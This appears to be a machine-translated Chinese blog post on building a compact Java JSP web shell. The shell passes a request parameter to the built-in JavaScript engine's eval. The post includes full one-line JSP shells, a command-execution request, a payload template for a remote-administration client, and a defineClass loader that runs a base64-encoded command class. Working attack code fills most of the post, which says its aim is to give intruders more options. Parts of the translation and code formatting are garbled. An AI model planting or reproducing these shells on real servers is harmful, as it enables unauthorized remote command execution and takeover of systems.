preface

All the time, the Java one-sentence Trojan is implemented with the bytecode defineClass. The advantage of this approach is that you can type an entire class into it, and you can do almost anything in Java. The downside is that Payload is too large and not as easy to modify as scripting languages. And there are many features, such as ClassLoader inheritance, reflection call defineClass, and so on. This article proposes a kind of Java one – sentence Trojan horse here: one – sentence Trojan horse realized by JS engine in Java.

The basic principle of

  1. Java does not have an eval function. Js has an eval function to parse strings as code.
  2. Java has built-in ScriptEngineManager class since 1.6. It supports calling JS natively without installing third-party libraries.
  3. ScriptEngine supports calling Java objects in Js.

To sum up, we can use Java to call eval of JS engine, and then call Java object in Payload, which is the core principle of the new Java sentence proposed in this paper.

ScriptEngineManager full name javax.mail. Script. ScriptEngineManager from Java 6 began to bring their own. For Java 6/7, the JS parsing engine is Rhino, and from Java8, it is Nashorn. Different parsing engines have some differences for the same code, which will be shown later.

If the principle can be explained in one or two sentences, the difficulty lies in the writing of Payload. One of the biggest difficulties in cross-language invocation is the conversion of data types and methods. For example, what if Java has byte arrays, but Js does not? What if C++ has Pointers but Java doesn’t have them?

I stepped on a lot of holes during the implementation, so this article is with you, hoping to give you some help.

Getting the script Engine

// ScriptEngine engine = new ScriptEngineManager().getengineByName ("JavaScript"); ScriptEngine engine = new ScriptEngineManager().getengineByExtension ("js"); // ScriptEngine engine = new ScriptEngineManager().getengineBymimeType ("text/javascript");Copy the code

Binding objects

ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
engine.put("request", request);
engine.put("response", response);
engine.eval(request.getParameter("mr6"));
Copy the code

Or you can use an overloaded function in eval to put the object directly in through a HashMap

new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{
put("response", response);
put("request", request);
}}))
Copy the code

eval

Combining the above two steps, there are many ways to write, for example:

shell.jsp

<% javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js"); engine.put("request", request); engine.put("response", response); engine.eval(request.getParameter("mr6")); % >Copy the code

Or just abbreviate it to one sentence:

<% new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("mr6"), new javax.script.SimpleBindings(new java.util.HashMap() {{ put("response", response); put("request", request); }})); % >Copy the code

Take executing a command as an example:

POST: mr6 = Java lang. Runtime. GetRuntime (), exec (” calc “);

Can achieve the effect of command execution.

The basic grammar

Looking through the documents can be quite boring, so here are some useful ones.

Those of you who are interested can also have a look at the original document: The original document

Calling Java methods

Precede the fully qualified class name

var s = [3]; s[0] = "cmd"; s[1] = "/c"; s[2] = "whoami"; //yzddmr6 var p = java.lang.Runtime.getRuntime().exec(s); var sc = new java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A"); var result = sc.hasNext() ? sc.next() : ""; sc.close();Copy the code

Importing Java Types

var Vector = java.util.Vector; var JFrame = Packages.javax.swing.JFrame; Var Vector = java.type ("java.util.Vector") var JFrame = java.type (" javax.swing.jframe ")Copy the code

Create an array of Java types

// Rhino
var Array = java.lang.reflect.Array
var intClass = java.lang.Integer.TYPE
var array = Array.newInstance(intClass, 8)

// Nashorn
var IntArray = Java.type("int[]")
var array = new IntArray(8)
Copy the code

Import the Java classes

By default, Nashorn does not import Java packages. The main reason for this is to avoid type conflicts. For example, if you write a new String, how does the engine know if your new String is a Java String or a JS String? So all Java calls need a fully qualified class name. But it’s very inconvenient to write this way.

Mozilla Rhino has created an extension file that provides importClass and importPackage methods to import specific Java packages.

  • ImportClass Imports the class specified by Java. Java.type is now recommended
  • ImportPackage imports a Java package, similar to import com.yzddmr6.*. JavaImporter is now recommended

It is important to note that Rhino’s error handling mechanism for this syntax is that Rhino loads the class when it exists and treats it as a package name when it does not.

load("nashorn:mozilla_compat.js");

importClass(java.util.HashSet);
var set = new HashSet();

importPackage(java.util);
var list = new ArrayList();
Copy the code

In some special cases, imported global packages can affect functions in JS, such as class name conflicts. At this point, you can use JavaImporter, together with the with statement, to set a usage range for the imported Java package.

// create JavaImporter with specific packages and classes to import var SwingGui = new JavaImporter(javax.swing, javax.swing.event, javax.swing.border, java.awt.event); With (SwingGui) {var mybutton = new JButton("test"); var myframe = new JFrame("test"); }Copy the code

Method calls and overloading

Method in JavaScript is actually a property of the object, so in addition to using. In addition to calling a method, you can also call a method using [] :

var System = Java.type('java.lang.System');
System.out.println('Hello, World');    // Hello, World
System.out['println']('Hello, World'); // Hello, World
Copy the code

Java supports the Overload method. For example, there are multiple overloaded versions of the println in System.out. If you want to specify a specific overloaded version, you can specify the parameter type using []. Such as:

var System = Java.type('java.lang.System'); System. The out [' println '] (3.14); / / System. 3.14 the out [' println (double) '] (3.14); / / System. 3.14 the out [' println (int) '] (3.14); / / 3Copy the code

Payload structure design

The details are in the notes

Try {load("nashorn:mozilla_compat.js"); } catch (e) {} // Import the common package importPackage(packages.java.util); importPackage(Packages.java.lang); importPackage(Packages.java.io); var output = new StringBuffer(""); Var cs = "${jspencode}"; Var tag_s = "${tag_s}"; Var tag_e = "${tag_e}"; {response. SetContentType ("text/ HTML "); request.setCharacterEncoding(cs); response.setCharacterEncoding(cs); Function decode(STR) {STR = str.substr(2); var bt = Base64DecodeToByte(str); return new java.lang.String(bt, cs); } function Base64DecodeToByte(str) { importPackage(Packages.sun.misc); importPackage(Packages.java.util); var bt; try { bt = new BASE64Decoder().decodeBuffer(str); } catch (e) { bt = Base64.getDecoder().decode(str); } return bt; } function asoutput(STR) {return STR; } function func(z1) { //eval function return z1; } output.append(func(z1)); } catch (e) {output.append("ERROR:// "+ e.tostring ()); } try {response.getwriter ().print(tag_s + asoutput(output.tostring ()) + tag_e); } catch (e) {}Copy the code

Grammar problems

Conversion between objects in two languages

Note that in cases where Java and JS may have type conflicts, fully qualified class names should be added even if the package is imported.

One of the problems with writing payload for a long time is that when you import Java.lang and write new String(BT,cs) without a fully qualified class name, you always print out a String address.

The correct action is new Java.lang.string (bt,cs). Since there are String classes in both Java and Js, in order of precedence, the object that comes out of new will be a Js object.

The type comparison table is attached below:

JavaScript Value JavaScript Type Java Type Is Scriptable Is Function
{a:1, b:[‘x’,’y’]} object org.mozilla.javascript.NativeObject +
[1, 2, 3] object org.mozilla.javascript.NativeArray +
1 number java.lang.Double
1.2345 number java.lang.Double
NaN number java.lang.Double
Infinity number java.lang.Double
-Infinity number java.lang.Double
true boolean java.lang.Boolean
“test” string java.lang.String
null object null
undefined undefined org.mozilla.javascript.Undefined
function () { } function org.mozilla.javascript.gen.c1 + +
/. * / object org.mozilla.javascript.regexp.NativeRegExp + +

The difference between Rhino and Nashorn

This was also a cratering point. Look at the following code

var readonlyenv = System.getenv(); var cmdenv = new java.util.HashMap(readonlyenv); var envs = envstr.split("\\|\\|\\|asline\\|\\|\\|"); for (var i = 0; i < envs.length; i++) { var es = envs[i].split("\\|\\|\\|askey\\|\\|\\|"); if (es.length == 2) { cmdenv.put(es[0], es[1]); } } var e = []; var i = 0; print(cmdenv+'\n'); For (var key in cmdenv) {// print("key: "+key+"\n"); e[i] = key + "=" + cmdenv[key]; i++; }Copy the code

In Java 8, Nashorn engine can parse cmdenv correctly, var key in cmdenv will output the cmdenv key

But when run under Java 6, Rhino treats it like a JS object and prints its properties

So when it comes to this kind of hybrid writing, there are objections, and different engines have different interpretations.

The solution is to use Java iterators, without doping js writing.

var i = 0;
    var iter = cmdenv.keySet().iterator();
    while (iter.hasNext()) {
      var key = iter.next();
      var val = cmdenv.get(key);
      //print("\nkey:" + key);
      //print("\nval:" + val);
      e[i] = key + "=" + val;
      i++;
    }
Copy the code

The reflection of the pit

In Java, if the package name of the class is different between the versions involved, we usually cannot import it directly, but use the reflective writing method.

For example, when base64 is decoded, Java is written as follows

public byte[] Base64DecodeToByte(String str) {
        byte[] bt = null;
        String version = System.getProperty("java.version");
        try {
            if (version.compareTo("1.9") >= 0) {
                Class clazz = Class.forName("java.util.Base64");
                Object decoder = clazz.getMethod("getDecoder").invoke(null);
                bt = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
            } else {
                Class clazz = Class.forName("sun.misc.BASE64Decoder");
                bt = (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
            }
            return bt;
        } catch (Exception e) {
            return new byte[]{};
        }
    }
Copy the code

After rewriting to JS style, I found that there are some strange bugs. (It turns out that reflection can also be implemented by importing Java types and passing in reflection parameters.)

function test(str) { var bt = null; var version = System.getProperty("java.version"); If (version.compareTo("1.9") >= 0) {var clazz = java.lang.class.forname (" java.util.base64 "); var decoder = clazz.getMethod("getDecoder").invoke(null); bt = decoder .getClass() .getMethod("decode", java.lang.String.class) .invoke(decoder, str); } else { var clazz = java.lang.Class.forName("sun.misc.BASE64Decoder"); bt = clazz .getMethod("decodeBuffer", java.lang.String.class) .invoke(clazz.newInstance(), str); } return bt; }Copy the code

But in Js, we don’t have to go to that much trouble. As mentioned above, if importPackage contains a non-existent package name, the Js engine will ignore the error, and due to the loose language nature of Js, we only need to shoot + exception catch for this purpose. Greatly reduces the complexity of payload writing.

function Base64DecodeToByte(str) {
    importPackage(Packages.sun.misc);
    importPackage(Packages.java.util);
    var bt;
    try {
      bt = new BASE64Decoder().decodeBuffer(str);
    } catch (e) {
      bt = Base64.getDecoder().decode(str);
    }
    return bt;
  }
Copy the code

Guaranteed operation

In theory, we can implement all the functions of bytecode in one sentence with the JS engine. At the very least, what should we do if some functions are really difficult to implement, or if we want to apply the existing payload?

We can use Java to call JS and then call defineClass:

Write a class for command execution: calc.java

import java.io.IOException; public class calc { public calc(String cmd){ try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); }}}Copy the code

After compiling base64

> base64 -w 0 calc.class yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1i ZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFu Zy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lP RXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdl dFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRT dGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAE AAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIACopy the code

Fill in payload below

try { load("nashorn:mozilla_compat.js"); } catch (e) {} importPackage(Packages.java.util); importPackage(Packages.java.lang); importPackage(Packages.java.io); var output = new StringBuffer(""); var cs = "UTF-8"; response.setContentType("text/html"); request.setCharacterEncoding(cs); response.setCharacterEncoding(cs); function Base64DecodeToByte(str) { importPackage(Packages.sun.misc); importPackage(Packages.java.util); var bt; try { bt = new BASE64Decoder().decodeBuffer(str); } catch (e) { bt = new Base64().getDecoder().decode(str); } return bt; } function define(Classdata, cmd) { var classBytes = Base64DecodeToByte(Classdata); var byteArray = Java.type("byte[]"); var int = Java.type("int"); var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod( "defineClass", byteArray.class, int.class, int.class ); defineClassMethod.setAccessible(true); var cc = defineClassMethod.invoke( Thread.currentThread().getContextClassLoader(), classBytes, 0, classBytes.length ); return cc.getConstructor(java.lang.String.class).newInstance(cmd); } output.append( define( "yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1 iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGF uZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0l PRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmd ldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnR TdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAA EAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAI AGA==", "calc" ) ); response.getWriter().print(output);Copy the code

Successful pop-up calculator

In other words, in special cases, the new sentence can continue to be compatible with the original bytecode sentence, and even reuse the original Payload.

test

Test environment: Java>=6

For the same column directory Payload, the original byte code packet length is 7378, while the new JSP sentence length is only 2481, almost one third of the original.

Column catalog

Chinese test

Virtual terminal

Database connection

Aside: safety is a good industry, I do a good job, if you want to learn about safety, learning the process of learning the necessary learning documents, I can share with you! [查看全 文]

The last

Based on JS engine Java sentence volume is smaller, more variety, more flexible to use. The range of Payload is Java 6 or above, which basically meets the requirements. However, Payload is very troublesome to write and difficult to debug, so it has advantages and disadvantages.

The proposed new sentence is not meant to replace the original way of entering bytecode, but to provide more options for infiltrators in more complex situations.